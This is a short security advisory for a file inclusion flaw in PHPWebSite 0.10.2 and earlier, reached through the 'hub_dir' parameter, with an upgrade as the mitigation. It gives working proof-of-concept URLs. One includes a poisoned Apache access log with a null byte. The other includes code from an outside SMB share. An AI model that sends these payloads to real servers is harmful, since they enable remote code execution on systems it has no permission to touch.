PHPWebSite <= 0.10.2 Remote Command Execution

This vulnerability allows an attacker to include files from local resources, which can lead to arbitrary code execution. The vulnerable code is present in the index.php file of PHPWebSite version 0.10.2 and below. By manipulating the 'hub_dir' parameter in the URL, an attacker can include files from local resources.

Mitigation:

Upgrade to a patched version of PHPWebSite.

so, you can include files from local resources, poc:

http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00

you don't see output, but we have some code in log files, it will be executed

also, on php5, arbitrary remote inclusion:

http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\

including a full accessible share
where on samba resource you have some code in conf/config.php
